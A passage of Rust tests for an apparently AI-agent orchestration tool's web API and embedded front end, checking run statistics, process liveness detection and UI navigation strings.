7856        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7857        let alpha = advisors
7858            .as_array()
7859            .expect("an array")
7860            .iter()
7861            .find(|a| a["agent"] == "alpha")
7862            .expect("alpha row");
7863        assert_eq!(alpha["seated"], 2);
7864        assert_eq!(alpha["proposed"], 1);
7865        assert_eq!(alpha["absent"], 1);
7866        assert_eq!(alpha["strong"], 1);
7867        assert_eq!(alpha["faint"], 0);
7868        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7869    }
7870
7871    #[tokio::test]
7872    async fn stats_release_bumps_split_clean_from_attention() {
7873        use crate::run::ReleaseBump;
7874
7875        let f = Fixture::start().await;
7876
7877        let mut clean = RunState::new(
7878            PathBuf::from("/repo/magi"),
7879            "main".to_owned(),
7880            "0123456789abcdef".to_owned(),
7881            "task".to_owned(),
7882            Config::default(),
7883        );
7884        clean.id = "20260902-140501-a".to_owned();
7885        clean.status = RunStatus::Merged;
7886        clean.release_bump = Some(ReleaseBump {
7887            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7888            version: Some("1.0.0".to_owned()),
7889            automerge_enabled: true,
7890            merged_directly: false,
7891            problem: None,
7892            action_required: None,
7893        });
7894
7895        let mut blocked = RunState::new(
7896            PathBuf::from("/repo/magi"),
7897            "main".to_owned(),
7898            "0123456789abcdef".to_owned(),
7899            "task".to_owned(),
7900            Config::default(),
7901        );
7902        blocked.id = "20260902-140502-b".to_owned();
7903        blocked.status = RunStatus::Merged;
7904        blocked.release_bump = Some(ReleaseBump {
7905            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7906            version: Some("1.0.1".to_owned()),
7907            automerge_enabled: false,
7908            merged_directly: false,
7909            problem: Some("checks red".to_owned()),
7910            action_required: Some("look at the PR".to_owned()),
7911        });
7912
7913        for state in [&clean, &blocked] {
7914            let dir = f.runs().join(&state.id);
7915            std::fs::create_dir_all(&dir).expect("run dir");
7916            std::fs::write(
7917                dir.join("run.json"),
7918                serde_json::to_string_pretty(state).expect("serialize run"),
7919            )
7920            .expect("write run.json");
7921        }
7922
7923        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7924        assert_eq!(bumps["merged"], 2);
7925        assert_eq!(bumps["recorded"], 2);
7926        assert_eq!(bumps["pr_opened"], 2);
7927        assert_eq!(bumps["automerge_enabled"], 1);
7928        assert_eq!(bumps["needs_attention"], 1);
7929        assert_eq!(bumps["clean"], 1);
7930        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7931        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7932    }
7933
7934    #[tokio::test]
7935    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7936        let f = Fixture::start().await;
7937        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7938
7939        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7940        assert_eq!(bumps["merged"], 1);
7941        assert_eq!(bumps["recorded"], 0);
7942        // `merged` is nonzero, so coverage still reads as a real 0%, not an
7943        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
7944        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7945        // `pr_opened` and `recorded` are both zero here, so these rates have
7946        // no denominator to compute from and must be null.
7947        assert_eq!(bumps["automerge_rate"], Value::Null);
7948        assert_eq!(bumps["attention_rate"], Value::Null);
7949    }
7950
7951    #[tokio::test]
7952    async fn stats_queue_counts_come_from_the_live_queue() {
7953        let f = Fixture::start().await;
7954        let q = f.queue();
7955        let mut queued = Task::new(
7956            "queued task".to_owned(),
7957            "do it".to_owned(),
7958            PathBuf::from("/repo"),
7959            Source::Human,
7960        );
7961        q.put(&mut queued).expect("put queued");
7962        let mut held = Task::new(
7963            "held task".to_owned(),
7964            "do it later".to_owned(),
7965            PathBuf::from("/repo"),
7966            Source::Human,
7967        );
7968        held.hold_machine(Some("out of attempts".to_owned()));
7969        q.put(&mut held).expect("put held");
7970
7971        let queue = f.get("/api/stats").await.json()["queue"].clone();
7972        assert_eq!(queue["queued"], 1);
7973        assert_eq!(queue["held"], 1);
7974        assert_eq!(queue["running"], 0);
7975        assert_eq!(queue["done"], 0);
7976        assert_eq!(queue["failed"], 0);
7977        assert_eq!(queue["blocked"], 0);
7978    }
7979
7980    #[tokio::test]
7981    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7982        let f = Fixture::start().await;
7983        let stats = f.get("/api/stats").await;
7984        assert_eq!(stats.status, 200);
7985        assert_eq!(stats.json()["totals"]["runs"], 0);
7986        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7987        assert_eq!(stats.json()["runs_unreadable"], 0);
7988        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7989        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7990        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7991        assert_eq!(stats.json()["repo"], Value::Null);
7992    }
7993
7994    #[tokio::test]
7995    async fn stats_lists_every_repository_with_runs_recorded() {
7996        let f = Fixture::start().await;
7997        write_run_repo(
7998            &f.runs(),
7999            "20260902-140501-a",
8000            RunStatus::Merged,
8001            "/repos/a",
8002        );
8003        write_run_repo(
8004            &f.runs(),
8005            "20260902-140502-b",
8006            RunStatus::Merged,
8007            "/repos/a",
8008        );
8009        write_run_repo(
8010            &f.runs(),
8011            "20260902-140503-c",
8012            RunStatus::Blocked,
8013            "/repos/b",
8014        );
8015
8016        let stats = f.get("/api/stats").await;
8017        assert_eq!(stats.status, 200);
8018        // Unfiltered - the aggregate across both repositories.
8019        assert_eq!(stats.json()["totals"]["runs"], 3);
8020        assert_eq!(stats.json()["repo"], Value::Null);
8021
8022        let repos = stats.json()["repos"].clone();
8023        let repos = repos.as_array().unwrap();
8024        assert_eq!(repos.len(), 2);
8025        // Busiest (2 runs) first.
8026        assert_eq!(repos[0]["repo"], "/repos/a");
8027        assert_eq!(repos[0]["name"], "a");
8028        assert_eq!(repos[0]["runs"], 2);
8029        assert_eq!(repos[1]["repo"], "/repos/b");
8030        assert_eq!(repos[1]["runs"], 1);
8031    }
8032
8033    #[tokio::test]
8034    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8035        let f = Fixture::start().await;
8036        write_run_repo(
8037            &f.runs(),
8038            "20260902-140501-a",
8039            RunStatus::Merged,
8040            "/repos/a",
8041        );
8042        write_run_repo(
8043            &f.runs(),
8044            "20260902-140502-b",
8045            RunStatus::Blocked,
8046            "/repos/b",
8047        );
8048
8049        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8050        assert_eq!(stats.status, 200);
8051        assert_eq!(stats.json()["totals"]["runs"], 1);
8052        assert_eq!(stats.json()["totals"]["merged"], 1);
8053        assert_eq!(stats.json()["repo"], "/repos/a");
8054        // The repository list itself is unaffected by the filter - it is
8055        // what a client switches repositories from.
8056        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8057        // runs_unreadable is a whole-workload count, never scoped to the
8058        // selected repository - see StatsView::runs_unreadable's own doc.
8059        assert_eq!(stats.json()["runs_unreadable"], 0);
8060    }
8061
8062    #[tokio::test]
8063    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8064        let f = Fixture::start().await;
8065        write_run_repo(
8066            &f.runs(),
8067            "20260902-140501-a",
8068            RunStatus::Merged,
8069            "/repos/a",
8070        );
8071
8072        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8073        assert_eq!(stats.status, 404);
8074    }
8075
8076    #[tokio::test]
8077    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8078        let f = Fixture::start().await;
8079        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8080
8081        let summary = f.get("/api/runs").await.json();
8082        let row = &summary[0];
8083        assert_eq!(row["short"], "a1b2");
8084        assert_eq!(row["status"], "ready");
8085        assert_eq!(row["done"], true);
8086        assert_eq!(row["title"], "Add a web UI");
8087        assert_eq!(row["repo_name"], "magi");
8088        assert_eq!(row["judges"], 3);
8089        assert_eq!(row["winner"], Value::Null);
8090        assert_eq!(row["reviews"], 0);
8091
8092        // The short id resolves, and the detail route is the state itself, not
8093        // a projection of it: the UI reads fields the summary does not carry.
8094        let detail = f.get("/api/runs/a1b2").await;
8095        assert_eq!(detail.status, 200);
8096        assert_eq!(detail.json()["base_branch"], "main");
8097        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8098    }
8099
8100    /// `status: "ready"` alone cannot tell a run still headed for a landing
8101    /// (a PR closed without merging, say) apart from one `[merge] mode =
8102    /// "none"` left unmerged for good — the confusion the operator flagged
8103    /// after the CLI report already grew a `not landed — nothing to do by
8104    /// design` line for exactly this case (`report.rs`). Both the list route
8105    /// and the detail route must carry a flag the phone can key on instead of
8106    /// re-deriving it from `status` + `merge.mode` itself.
8107    #[tokio::test]
8108    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8109        let f = Fixture::start().await;
8110
8111        let mut none_run = RunState::new(
8112            PathBuf::from("/repo/magi"),
8113            "main".to_owned(),
8114            "0123456789abcdef".to_owned(),
8115            "Add a web UI".to_owned(),
8116            Config::default(),
8117        );
8118        none_run.id = "20260902-140503-none".to_owned();
8119        none_run.status = RunStatus::Ready;
8120        none_run.merge = Some(crate::run::MergeOutcome {
8121            mode: crate::config::MergeMode::None,
8122            ok: true,
8123            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8124        });
8125        write_state(&f.runs(), &none_run);
8126
8127        let mut pr_run = RunState::new(
8128            PathBuf::from("/repo/magi"),
8129            "main".to_owned(),
8130            "0123456789abcdef".to_owned(),
8131            "Add a web UI".to_owned(),
8132            Config::default(),
8133        );
8134        pr_run.id = "20260902-140504-prcl".to_owned();
8135        pr_run.status = RunStatus::Ready;
8136        pr_run.merge = Some(crate::run::MergeOutcome {
8137            mode: crate::config::MergeMode::Pr,
8138            ok: false,
8139            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8140        });
8141        write_state(&f.runs(), &pr_run);
8142
8143        let summary = f.get("/api/runs").await.json();
8144        let rows: std::collections::HashMap<&str, &Value> = summary
8145            .as_array()
8146            .expect("an array")
8147            .iter()
8148            .map(|r| (r["id"].as_str().expect("an id"), r))
8149            .collect();
8150        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8151        assert_eq!(
8152            rows[none_run.id.as_str()]["unmerged_by_design"],
8153            true,
8154            "a mode-none Ready must be flagged in the list"
8155        );
8156        assert_eq!(
8157            rows[pr_run.id.as_str()]["unmerged_by_design"],
8158            false,
8159            "a Ready reached by a closed pull request is a different case"
8160        );
8161
8162        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8163        assert_eq!(none_detail["status"], "ready");
8164        assert_eq!(none_detail["unmerged_by_design"], true);
8165
8166        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8167        assert_eq!(pr_detail["unmerged_by_design"], false);
8168    }
8169
8170    /// `RunState::active` is only ever cleared by whoever populated it, so the
8171    /// detail route also has to say whether a daemon is actually still
8172    /// driving this run right now — otherwise a seat from a killed process's
8173    /// last wave would read as live forever.
8174    #[tokio::test]
8175    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8176        let f = Fixture::start().await;
8177        // Matches `write_daemon`'s hard-coded `current.run`, so the second
8178        // half of this test can claim the daemon is working on it without a
8179        // second helper.
8180        let id = "20260902-140502-bbbb";
8181        let mut state = RunState::new(
8182            PathBuf::from("/repo/magi"),
8183            "main".to_owned(),
8184            "0123456789abcdef".to_owned(),
8185            "Add a web UI".to_owned(),
8186            Config::default(),
8187        );
8188        state.id = id.to_owned();
8189        state.status = RunStatus::Judging;
8190        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8191        let dir = f.runs().join(id);
8192        std::fs::create_dir_all(&dir).expect("run dir");
8193        std::fs::write(
8194            dir.join("run.json"),
8195            serde_json::to_string_pretty(&state).expect("serialize run"),
8196        )
8197        .expect("write run.json");
8198
8199        // No daemon.json at all, and no `driver_pid` recorded either (this
8200        // state was written directly, never through `execute()`): there is
8201        // nothing to confirm either way, so the route must say `"unknown"` —
8202        // never `"dead"`, which is exactly the false diagnosis a manual `magi
8203        // run` used to get from this route before `driver_pid` existed.
8204        let cold = f.get(&format!("/api/runs/{id}")).await.json();
8205        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8206        assert_eq!(cold["live"], "unknown", "{cold}");
8207
8208        // A fresh heartbeat naming exactly this run: the same entry now reads
8209        // as confirmed, not merely recorded.
8210        write_daemon(f.home.path(), Timestamp::now());
8211        let warm = f.get(&format!("/api/runs/{id}")).await.json();
8212        assert_eq!(warm["live"], "live", "{warm}");
8213    }
8214
8215    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
8216    /// review` claims no daemon at all, so before this field existed the
8217    /// route above read it as `"dead"` — indistinguishable from a run a
8218    /// killed process abandoned — the whole time it was genuinely still
8219    /// answering. With a live pid recorded, it must read `"live"` even
8220    /// though no daemon claims it.
8221    #[tokio::test]
8222    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8223        let f = Fixture::start().await;
8224        let id = "20260922-090000-cccc";
8225        let mut state = RunState::new(
8226            PathBuf::from("/repo/magi"),
8227            "main".to_owned(),
8228            "0123456789abcdef".to_owned(),
8229            "Review only".to_owned(),
8230            Config::default(),
8231        );
8232        state.id = id.to_owned();
8233        state.status = RunStatus::Reviewing;
8234        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8235        // This test process's own pid: guaranteed alive, and never needs a
8236        // real daemon or a second process to prove it. The matching start-time
8237        // marker is what `liveness` now requires alongside a live pid — see
8238        // `RunState::driver_started_at`'s own doc for why the pid alone is
8239        // not enough.
8240        state.driver_pid = Some(std::process::id());
8241        state.driver_started_at = Some(
8242            crate::proc::process_started_at(std::process::id())
8243                .expect("this test process's own start time must be queryable"),
8244        );
8245        let dir = f.runs().join(id);
8246        std::fs::create_dir_all(&dir).expect("run dir");
8247        std::fs::write(
8248            dir.join("run.json"),
8249            serde_json::to_string_pretty(&state).expect("serialize run"),
8250        )
8251        .expect("write run.json");
8252
8253        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8254        assert_eq!(detail["live"], "live", "{detail}");
8255    }
8256
8257    /// A killed manual run's pid can be handed to a wholly unrelated later
8258    /// process — a live query on `driver_pid` alone would read this as
8259    /// `"live"`, exactly the false positive `driver_started_at` exists to
8260    /// catch (see that field's own doc, and `RunState::liveness_with`'s
8261    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
8262    #[tokio::test]
8263    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8264        let f = Fixture::start().await;
8265        let id = "20260922-090100-dddd";
8266        let mut state = RunState::new(
8267            PathBuf::from("/repo/magi"),
8268            "main".to_owned(),
8269            "0123456789abcdef".to_owned(),
8270            "Review only".to_owned(),
8271            Config::default(),
8272        );
8273        state.id = id.to_owned();
8274        state.status = RunStatus::Reviewing;
8275        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8276        // This test process's own pid really is alive, but the marker
8277        // recorded here does not match what it actually started at —
8278        // standing in for the pid having since been reused by a different
8279        // process than the one that wrote `run.json`.
8280        state.driver_pid = Some(std::process::id());
8281        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8282        let dir = f.runs().join(id);
8283        std::fs::create_dir_all(&dir).expect("run dir");
8284        std::fs::write(
8285            dir.join("run.json"),
8286            serde_json::to_string_pretty(&state).expect("serialize run"),
8287        )
8288        .expect("write run.json");
8289
8290        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8291        assert_eq!(detail["live"], "dead", "{detail}");
8292    }
8293
8294    /// The deck's competition list is normally the first place an operator
8295    /// sees an old run. It must carry the same process verdict as detail, or
8296    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
8297    #[test]
8298    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8299        let mk = |id: &str, pid: Option<u32>| {
8300            let mut s = RunState::new(
8301                PathBuf::from("/repo/magi"),
8302                "main".to_owned(),
8303                "0123456789abcdef".to_owned(),
8304                "Add a web UI".to_owned(),
8305                Config::default(),
8306            );
8307            s.id = id.to_owned();
8308            s.driver_pid = pid;
8309            s.driver_started_at = Some("t0".to_owned());
8310            s
8311        };
8312        let states = vec![
8313            mk("20260902-140502-aaaa", Some(77)),
8314            mk("20260902-140502-bbbb", Some(77)),
8315            mk("20260902-140502-cccc", Some(77)),
8316            mk("20260902-140502-dddd", None),
8317        ];
8318        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8319        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8320        let sup: HashMap<String, String> = [(
8321            "20260902-140502-aaaa".to_owned(),
8322            "20260902-140502-cccc".to_owned(),
8323        )]
8324        .into();
8325
8326        let status_calls = std::cell::Cell::new(0);
8327        let identity_calls = std::cell::Cell::new(0);
8328        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8329            |_| {
8330                status_calls.set(status_calls.get() + 1);
8331                Some(true)
8332            },
8333            |_| {
8334                identity_calls.set(identity_calls.get() + 1);
8335                Some("t0".to_owned())
8336            },
8337        ));
8338        let rows = summarize(
8339            states,
8340            &open,
8341            &claimed,
8342            &sup,
8343            |p| probe.borrow_mut().status(p),
8344            |p| probe.borrow_mut().started_at(p),
8345        );
8346
8347        assert_eq!(status_calls.get(), 1, "one pid, one status query");
8348        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8349        assert_eq!(rows.len(), 4);
8350        assert!(!rows[0].waiting && rows[1].waiting);
8351        assert_eq!(rows[0].live, crate::run::Liveness::Live);
8352        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8353        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8354        assert_eq!(rows[1].superseded_by, None);
8355    }
8356
8357    #[test]
8358    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8359        let mut state = RunState::new(
8360            PathBuf::from("/repo/magi"),
8361            "main".to_owned(),
8362            "0123456789abcdef".to_owned(),
8363            "Review only".to_owned(),
8364            Config::default(),
8365        );
8366        state.id = "20260922-090200-dead".to_owned();
8367        state.status = RunStatus::Reviewing;
8368        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8369            .expect("serialize list row");
8370        assert_eq!(row["status"], "reviewing");
8371        assert_eq!(row["live"], "dead", "{row}");
8372        assert!(!row["done"].as_bool().unwrap());
8373    }
8374
8375    #[tokio::test]
8376    async fn the_run_list_is_newest_first_and_honours_a_limit() {
8377        let f = Fixture::start().await;
8378        for id in [
8379            "20260902-140501-aaaa",
8380            "20260902-140502-bbbb",
8381            "20260902-140503-cccc",
8382        ] {
8383            write_run(&f.runs(), id, RunStatus::Merged);
8384        }
8385
8386        let all = f.get("/api/runs").await.json();
8387        let capped = f.get("/api/runs?limit=2").await.json();
8388
8389        assert_eq!(all[0]["id"], "20260902-140503-cccc");
8390        assert_eq!(all.as_array().map(Vec::len), Some(3));
8391        assert_eq!(capped.as_array().map(Vec::len), Some(2));
8392        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8393    }
8394
8395    #[tokio::test]
8396    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8397        let f = Fixture::start().await;
8398        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8399
8400        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8401
8402        assert_eq!(res.status, 200);
8403        assert!(
8404            res.headers
8405                .contains("content-type: text/plain; charset=utf-8"),
8406            "a browser must render it, not download it: {}",
8407            res.headers
8408        );
8409        // The assertion is on content, not on the absence of escapes: colour
8410        // is a process-global that `serve` turns off at startup, and another
8411        // test in this binary may own it while this one runs.
8412        assert!(
8413            res.body.contains("20260902-140501-a1b2"),
8414            "the report is about the run that was asked for: {}",
8415            res.body
8416        );
8417    }
8418
8419    #[tokio::test]
8420    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8421        let f = Fixture::start().await;
8422
8423        let html = f.get("/").await;
8424        let css = f.get("/app.css").await;
8425        let js = f.get("/app.js").await;
8426
8427        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8428        assert!(
8429            html.headers
8430                .contains("content-type: text/html; charset=utf-8")
8431        );
8432        assert!(css.headers.contains("content-type: text/css"));
8433        assert!(js.headers.contains("content-type: text/javascript"));
8434        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8435    }
8436
8437    #[test]
8438    fn review_rounds_label_a_distinct_verified_head() {
8439        assert!(APP_JS.contains("round.verified_head"));
8440        assert!(APP_JS.contains("verified HEAD"));
8441        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8442    }
8443
8444    #[test]
8445    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8446        // A blocked task's chip and note must not fall back to a queued-like
8447        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
8448        // itself by e11fc58 but never checked here.
8449        assert!(APP_JS.contains("blocked: { glyph:"));
8450        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8451
8452        // `blocked_by` mixes task ids and question ids in the same list, and
8453        // the client can only tell them apart by checking each id against
8454        // what it actually knows - never by guessing from the id's shape.
8455        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8456        assert!(
8457            APP_JS.contains(
8458                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8459            ),
8460            "the note line must name what a blocked task is waiting on, not just that it is blocked"
8461        );
8462        // The classification must key off `status_str`, never off `blocked_by`
8463        // or `block_reason` merely being present - both can survive briefly
8464        // on a task a hold or a dead daemon just moved off `blocked`.
8465        assert!(APP_JS.contains("if (status === \"blocked\") {"));
8466
8467        // A question a task is blocked on gets its own node in the same
8468        // dependency graph, not just a task-shaped node with nothing known
8469        // about it.
8470        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8471        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8472        assert!(
8473            APP_JS.contains("location.hash = \"#/questions\";"),
8474            "a question node must jump to the Questions screen, not pretend to be a task"
8475        );
8476
8477        // `Task::answers` - decisions already made - are shown as a record on
8478        // the card, the same disclosure style as the full instruction.
8479        assert!(APP_JS.contains("Resolved questions"));
8480        assert!(APP_JS.contains("r.answersList.append("));
8481        assert!(APP_CSS.contains(".task-answers"));
8482    }
8483
8484    #[test]
8485    fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8486        // A `kind: "task"` notice link used to drop the id on the floor and
8487        // point at `#/queue` outright, so every task notification landed on
8488        // whatever happened to be first in the Backlog rather than the task
8489        // it was actually about.
8490        assert!(
8491            APP_JS.contains(
8492                "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8493            ),
8494            "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8495        );
8496        assert!(
8497            !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8498            "regression: the task link must not go back to naming the bare Backlog route"
8499        );
8500
8501        // The route parser has to read that id back out before applyRoute()
8502        // can do anything with it.
8503        assert!(
8504            APP_JS.contains(
8505                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8506            ),
8507            "`#/queue/<id>` must parse into a route carrying that id"
8508        );
8509
8510        // And the Backlog view has to actually land on the card once it can
8511        // - see consumeQueueFocus(), which renderQueue() calls on every pass
8512        // so a focus set before the queue has loaded is retried once it has.
8513        assert!(APP_JS.contains("state.queueFocus = route.id;"));
8514        assert!(APP_JS.contains("function consumeQueueFocus()"));
8515        assert!(APP_JS.contains("jumpToTask(id);"));
8516    }
8517
8518    #[test]
8519    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8520        // consumeQueueFocus() clears an active Backlog search before it can
8521        // scroll to the target card (the sections list is hidden while a
8522        // search is showing), by recursing back into renderQueue(). The
8523        // fixer's first cut nulled state.queueFocus before that recursive
8524        // call, so the second pass saw nothing to jump to and the jump was
8525        // silently dropped whenever a notification's link was opened with a
8526        // stale search still active. state.queueFocus must only be cleared
8527        // right before jumpToTask() actually runs.
8528        assert!(
8529            APP_JS.contains(
8530                "  if (!id || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8531            ),
8532            "the search-clearing branch must run before state.queueFocus is cleared, or the \
8533             recursive renderQueue() call has nothing left to jump to"
8534        );
8535        assert!(
8536            APP_JS.contains("state.queueFocus = null;\n  jumpToTask(id);"),
8537            "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8538        );
8539    }
8540
8541    #[test]
8542    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8543        // The task's own repro: only the link text inside .notice-meta was
8544        // clickable, so a tap on the message, the timestamp, or the card's
8545        // padding did nothing - on a phone that reads as "the card doesn't
8546        // work" even though the tiny link inside it did. Mark read / Dismiss
8547        // must keep working independently of this: `.closest("a, button")`
8548        // is what lets a tap that actually lands on those elements fall
8549        // through instead of being hijacked into a navigation.
8550        assert!(
8551            APP_JS.contains(
8552                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8553            ),
8554            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8555        );
8556    }
8557
8558    #[test]
8559    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8560        assert!(
8561            APP_JS.contains("round.verified_head !== round.head"),
8562            "a round that verified an earlier commit must be visibly distinct from one that \
8563             verified the head reviewers are looking at now"
8564        );
8565        assert!(
8566            APP_JS.contains("round.verified_at"),
8567            "when a check ran must be on the wire, not just which commit"
8568        );
8569        assert!(
8570            APP_JS.contains("resource_blocked"),
8571            "a command magi never got to run (shared build cache contention) must not render \
8572             the same as a command that ran and failed"
8573        );
8574    }
8575
8576    #[test]
8577    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8578        // Every KPI tile but Total runs and Completion names an exact
8579        // RunStatus and hands it to openRunsFiltered(), which is what wires
8580        // the click into state.runsFilter.status (matchesFilter's own
8581        // status check) rather than the coarser runsStateFilter chips. Each
8582        // status literal here must be one of the strings runSection() (and
8583        // isStale()) actually compare a run's own `status` field against -
8584        // a status this dashboard invented would filter to nothing.
8585        assert!(
8586            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8587            "every KPI tile built through statusTile() must route its click through \
8588             openRunsFiltered, the single place that sets the Runs filter"
8589        );
8590        for (label, status) in [
8591            ("Merged", "merged"),
8592            ("Ready", "ready"),
8593            ("Blocked", "blocked"),
8594            ("Stalled", "stalled"),
8595        ] {
8596            let call = format!("statusTile(\"{label}\", t.{status}, ");
8597            assert!(
8598                APP_JS.contains(&call),
8599                "expected the {label} KPI tile built via {call}..."
8600            );
8601            assert!(
8602                APP_JS.contains(&format!("status === \"{status}\"")),
8603                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8604                 compare a run against, not one invented only for the stats tile"
8605            );
8606        }
8607        assert!(
8608            APP_JS.contains("function openRunsFiltered(status)"),
8609            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8610        );
8611        assert!(
8612            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8613            "matchesFilter must gate on the exact status a KPI tile named"
8614        );
8615        // applyRoute() only flips which view is visible for a plain `#runs`
8616        // hash - it does not itself redraw the list (see applyRoute's own
8617        // handling below) - so openRunsFiltered must call renderRuns()
8618        // itself, and must call applyRoute() too so the view flips even
8619        // when the hash string doesn't change (the operator may already be
8620        // on the Runs view when a tile is tapped, which fires no
8621        // hashchange event at all).
8622        assert!(
8623            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
8624            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8625             hashchange event that may never fire"
8626        );
8627    }
8628
8629    #[test]
8630    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8631        // A stats tile can leave state.runsFilter.status set to something
8632        // done-by-construction (e.g. "merged") - picking "Active" afterward
8633        // must drop it the same way an incompatible tree section is already
8634        // dropped, or the Runs list renders permanently empty with no way
8635        // for the operator to tell why.
8636        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8637        assert!(
8638            APP_JS.contains(
8639                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
8640            ),
8641            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8642             guard for an incompatible tree section"
8643        );
8644    }
8645
8646    #[test]
8647    fn every_stats_queue_tile_names_a_real_queue_section() {
8648        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
8649        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
8650        // (consumeQueueSectionFocus finds no matching <details> and drops
8651        // the focus) rather than fail loudly, so pin every key against the
8652        // section list it has to resolve against.
8653        assert!(
8654            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8655            "every queue tile built through sectionTile() must route its click through \
8656             openQueueSectionFocus"
8657        );
8658        for key in ["upnext", "running", "done", "held", "blocked"] {
8659            assert!(
8660                APP_JS.contains(&format!("{{ key: \"{key}\",")),
8661                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8662            );
8663        }
8664        // Queued and Failed intentionally both resolve to "upnext" - the
8665        // same section queueSection() itself files them under - rather than
8666        // getting a section each.
8667        for line in [
8668            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
